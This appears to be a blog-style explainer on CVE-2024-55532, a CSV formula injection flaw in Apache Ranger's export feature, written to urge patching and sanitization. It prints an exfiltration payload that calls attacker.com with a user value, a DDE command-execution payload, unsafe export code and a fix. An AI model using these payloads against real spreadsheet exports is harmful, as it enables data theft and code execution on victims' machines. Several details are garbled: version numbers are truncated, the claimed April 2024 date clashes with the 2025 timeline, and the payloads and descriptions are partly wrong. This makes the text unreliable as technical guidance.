In April 2024, a new vulnerability emerged for everyone who uses Apache Ranger: CVE-2024-55532. This flaw deals with something that sounds boring but can be pretty dangerous—exporting data to CSV files. What's the risk? Simply put, hackers can slip formulas into your spreadsheet exports. Once you (or someone else) opens the file using Microsoft Excel (or even Google Sheets), evil code gets executed. Let's break down how this happens and what you can do about it.

What Is CVE-2024-55532?

CVE-2024-55532 is an "Improper Neutralization of Formula Elements in Export CSV" vulnerability. This affects Apache Ranger before version 2.6., one of the most popular frameworks to manage data access in Hadoop, Hive, and other big data environments.

Affected Software: Apache Ranger < 2.6..

- Risk: Low-privileged users or attackers can embed spreadsheet formulas while exporting, which may auto-execute when opened with spreadsheet tools.
- Impact: Data exfiltration, spoofing, possibly remote code execution (RCE) depending on spreadsheet client and user actions.

Why Should You Care?

If you’re exporting access logs, audit trails, or policy data—and then sharing those CSVs—you or your colleagues could fall for instant spreadsheet drive-by attacks. Attackers know this trick well: For instance, when Excel sees a cell starting with =, it runs the formula. That can mean phoning home to a malicious server, popping up a fake login, even running macros.

Exploiting CVE-2024-55532 (With Example)

Suppose your Apache Ranger UI lets users export search results or audit logs as CSV. Let's say there's a column—“User Name”—where the input is not sanitized.

Malicious user creates an account name such as

=IMPORTDATA("https://attacker.com/steal-session?cookie="&USER())

When an administrator exports users to CSV, the resulting file might look like this

User ID,User Name,Roles
101,john.doe,admin
102,=IMPORTDATA("https://attacker.com/steal-session?cookie="&USER()),user

When someone opens this CSV in Excel, that IMPORTDATA formula fires, sending the current username (or other sensitive info) to a remote attacker.

Code Snippet: Flaw in Data Export (Pseudo-code)

// Hypothetical (incomplete) Java code snippet
public void exportToCSV(List<User> users) {
    for(User u : users){
        // This line is unsafe—it doesn’t sanitize for formula injection!
        writer.write(u.getId() + "," + u.getName() + "," + u.getRole() + "\n");
    }
}

What's missing?
There’s no check to stop a username starting with =, +, -, or @ (all formula triggers in spreadsheet programs).

Exploit: Injecting a Formula

A user signs up with username:
=CMD|' /C calc'!A
Now, when the export option is used, this line goes straight into the CSV. Open it, and "calc" (Calculator app, Windows only) can pop up. More sophisticated payloads can exfiltrate data.

> NOTE: Modern Excel disables such external connections by default, but many companies still allow them.

How to Fix the Issue

Apache Ranger 2.6. and newer versions introduced proper sanitization to prevent this.

Proper Sanitization Pseudocode

private String sanitizeForCSV(String value) {
    // Prefix dangerous formula characters with a single-quote
    if(value.startsWith("=") || value.startsWith("+") ||
       value.startsWith("-") || value.startsWith("@")) {
        return "'" + value;
    }
    return value;
}

This fix prevents Excel and similar tools from interpreting the content as a formula.

Official Apache Ranger CVE Advisory:

https://cve.apache.org/cve/CVE-2024-55532.html

Apache Ranger Security Page:

https://ranger.apache.org/security.html

OWASP Cheat Sheet: CSV Injection

https://cheatsheetseries.owasp.org/cheatsheets/CSV_Injection_Cheat_Sheet.html

Upgrade IMMEDIATELY to Apache Ranger 2.6. or later.

Official download link

Final Thoughts

Formula injection in CSV export is sneaky because it doesn’t explode immediately—but it can turn a simple audit export into a powerful attack. If you’re running Apache Ranger below 2.6., apply the fix right away. Don’t let spreadsheet magic become your nightmare!

Stay updated, patch early, and sanitize always.

Timeline

Published on: 03/03/2025 16:15:38 UTC
Last modified on: 03/04/2025 17:15:13 UTC